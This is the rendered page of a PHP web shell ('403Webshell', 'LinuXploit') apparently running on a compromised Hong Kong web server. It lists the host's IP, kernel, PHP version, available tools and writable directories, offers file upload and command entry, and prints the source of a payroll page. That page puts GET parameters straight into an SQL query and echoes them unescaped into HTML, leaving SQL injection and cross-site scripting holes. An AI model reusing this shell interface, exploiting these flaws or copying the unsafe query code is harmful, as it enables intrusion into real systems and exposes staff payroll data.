403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS20140127/old20140221/Payroll/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS20140127/old20140221/Payroll/Payroll_DetailForm.php
<!DOCTYPE html>
<?php include_once '../include/DBConnect.php'; ?>
<html>
    <head>
        <?php require_once '../include/head.php'; ?>
        <?php require_once '../include/checkuser.php'; ?>
        <?php require_once '../include/Nav_bar.php'; ?>  
    </head>
    <body>
        <!-- line between nav bar and content -->
        <div class="text-right">
            <ul class="breadcrumb">
                <li class="active">Payroll Detail</li>
            </ul>
        </div>

        <div class="container-fluid pathways-container">
            <h3>Payroll Detail</h3>
            <form action="" method="post">
                <table>
                    <tr>
                        <!-- Payroll Code  -->
                        <td style="width: 200px;text-align: right;"><label for="Payroll_code">Payroll Code</label></td>
                        <td style="width: 30px"></td>
                        <td><input id="Payroll_code" autocomplete="off" type="text" disabled value="<?= (isset($_GET)) ? $_GET['code'] : '' ?>" name="Payroll_code"/></td>

                        <!-- Staff Name -->
                        <td style="width: 200px;text-align: right;"><label for="Staff_nzme">Staff Name</label></td>
                        <td style="width: 30px"></td>
                        <td><input id="Staff_nzme" autocomplete="off" type="text" disabled value="<?= (isset($_GET)) ? $_GET['name'] : '' ?>" name="Staff_nzme" /></td>
                    </tr>
                    <tr style="height: 15px;"></tr>
                    <tr>
                        <td style="width: 200px;text-align: right;"><label for="Creation Date">Creation Date</label></td>
                        <td style="width: 30px"></td>
                        <td><input id="Creation_Date" autocomplete="off" type="text" disabled value="<?= (isset($_GET)) ? $_GET['cdate'] : '' ?>" name="Creation_Date"/></td>
                    </tr>
                </table>
                <hr/> 
            </form>
            <table class="table table-striped table-bordered table-hover table-condensed">
                <thead>
                    <tr>
                        <th>Lesson Date</th>
                        <th>Rate</th>
                        <th>price</th>
                        <th>Hour</th>
                        <th>Amount</th>
                    </tr>
                </thead> 
                <tbody>
                    <?php
                    $sth = $dbh->query("SELECT la.date,la.staff_id s,CEIL(TIME_TO_SEC(TIMEDIFF(l.end_time,l.start_time))/3600) hour, la.rate,s.salary,s.rate1,s.rate2,s.rate3,s.rate4,s.rate5,s.rate6 
                            FROM lesson_attendance la,lesson l,staff s 
                            WHERE la.lesson_id in 
                                (Select lesson_id from lesson where date >='" . $_GET['startdate'] . "' and date <= '" . $_GET['enddate'] . "' and deleted = 0 and actived = 1) 
                                and la.actived = 1 and la.deleted = 0 
                                and la.staff_id <> 0 
                                and l.actived = 1 and l.deleted = 0 
                                and l.lesson_id = la.lesson_id 
                                and s.actived = 1 and s.deleted = 0 
                                and la.staff_id = s.staff_id");
                    $sum = 0;
                    while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) {
                        switch ((int) $ResultSet['rate']) {
                            case 0:
                                $rate = $ResultSet['salary'];
                                $amount = $ResultSet['salary'] * $ResultSet["hour"];
                                $hour = $ResultSet['hour'];
                                break;
                            case 1:
                                $rate = $ResultSet['rate1'];
                                $amount = $ResultSet['rate1'] * $ResultSet["hour"];
                                $hour = $ResultSet['hour'];
                                break;
                            case 2:
                                $rate = $ResultSet['rate2'];
                                $amount = $ResultSet['rate2'] * $ResultSet["hour"];
                                $hour = $ResultSet['hour'];
                                break;
                            case 3:
                                $rate = $ResultSet['rate3'];
                                $amount = $ResultSet['rate3'] * $ResultSet["hour"];
                                $hour = $ResultSet['hour'];
                                break;
                            case 4:
                                $rate = $ResultSet['rate4'];
                                $amount = $ResultSet['rate4'] * $ResultSet["hour"];
                                $hour = $ResultSet['hour'];
                                break;
                            case 5:
                                $rate = $ResultSet['rate5'];
                                $amount = $ResultSet['rate5'] * $ResultSet["hour"];
                                $hour = $ResultSet['hour'];
                                break;
                            case 6:
                                $rate = $ResultSet['rate6'];
                                $amount = $ResultSet['rate6'] * $ResultSet["hour"];
                                $hour = $ResultSet['hour'];
                                break;
                        }
                        if ($ResultSet['s'] == $_GET['staffid']) {
                            $sum+=$amount;
                            ?>
                            <tr>
                                <td><?= $ResultSet['date'] ?></td>
                                <td><?= explode(".", $ResultSet['rate'])[0] ?></td>
                                <td><?= $rate ?></td>
                                <td><?= $hour ?></td>
                                <td><?= $amount ?></td>
                            </tr>
                        <?php } ?>
                    <?php } ?>
                </tbody>
            </table>
            <label class="pull-right">Total Amount :
                <input type="text" disabled value="$ <?= number_format($sum) ?>"></label>
        </div> <!-- /container -->
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit